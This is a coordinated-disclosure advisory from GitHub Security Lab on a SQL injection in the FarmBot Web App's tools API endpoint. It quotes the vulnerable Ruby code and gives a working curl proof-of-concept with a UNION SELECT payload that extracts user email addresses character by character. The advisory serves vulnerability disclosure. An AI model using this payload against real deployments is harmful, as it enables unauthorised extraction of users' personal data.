Coordinated Disclosure Timeline

Summary

A SQL injection vulnerability was found in FarmBot’s web app that allowed authenticated attackers to extract arbitrary data from its database (including the user table).

Project

FarmBot Web App

Tested Version

v15.8.3

Details

SQL injection in tools controller (GHSL-2023-200)

The tools API endpoint of Farmbot was susceptible to a SQL injection vulnerability. The user-controlled id parameter was passed into a string that is used to construct a SQL query:

BASE = 'SELECT
[..]
SHOW_QUERY = BASE + ' "tools"."id" = %s;'
self.find_by_sql(SHOW_QUERY % id).first || self.find(id)

This vulnerability can be triggered by using the update tool API endpoint available to authenticated users.

def tool
      @tool ||= Tool.join_tool_slot_and_find_by_id(params[:id])
end

This vulnerability was found using a CodeQL query which identifies SQL queries built from user-controlled sources.

Proof of concept

This SQL injection vulnerability can be exploited by an authenticated user using this SQL injection payload:

curl -i -s -k -X $'PUT' \
    -H $'Host: <host>' -H $'Content-Length: 157' -H $'Authorization: ey[..]' -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: application/json' -H $'Accept: application/json' -H $'Origin: <host>' -H $'Connection: close' \
    --data-binary $'{\"id\":3,\"created_at\":\"2023-09-25T07:53:17.900Z\",\"updated_at\":\"2023-09-25T07:53:17.900Z\",\"name\":\"Watering Nozzler\",\"status\":\"inactive\",\"flow_rate_ml_per_s\":5}' \
    $'http://<host>/api/tools/5%20UNION%20SELECT%20ASCII(SUBSTRING(email,1,2)),\'\',created_at,null,id,0,0%20FROM%20users%20WHERE%20id=1%2D%2D%20'

(Hint: replace Authorization header value with the value of an authenticated user.)

The decoded SQL injection string looks like this:

5 UNION SELECT ASCII(SUBSTRING(email,1,2)),'',created_at,null,id,0,0 FROM users WHERE id=1--

Since this vulnerability seems not to allow exfiltrating data as a string, string fields have to be exfiltrated character by character. In this proof of concept the first character of the email address of the user with the id 1 is exfiltrated. This is done by combining the built-in ASCII and SUBSTRING functions: ASCII(SUBSTRING(email,1,2)). The JSON response of such a call could look like this:

{
  "id":112,
  "created_at":"2023-09-25T07:43:52.703Z",
  "updated_at":"2023-09-25T11:36:26.754Z",
  "name":"Watering Nozzler",
  "status":"active",
  "flow_rate_ml_per_s":5
}

The id value of 112 represents the ASCII character p (The first user character of the email address of the tested user). An attacker would likely create a script and loop over all strings in the user database.

Impact

This issue may lead to Information Disclosure.

CVE

Credit

This issue was discovered and reported by GHSL team member @p- (Peter Stöckli).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-200 in any communication regarding this issue.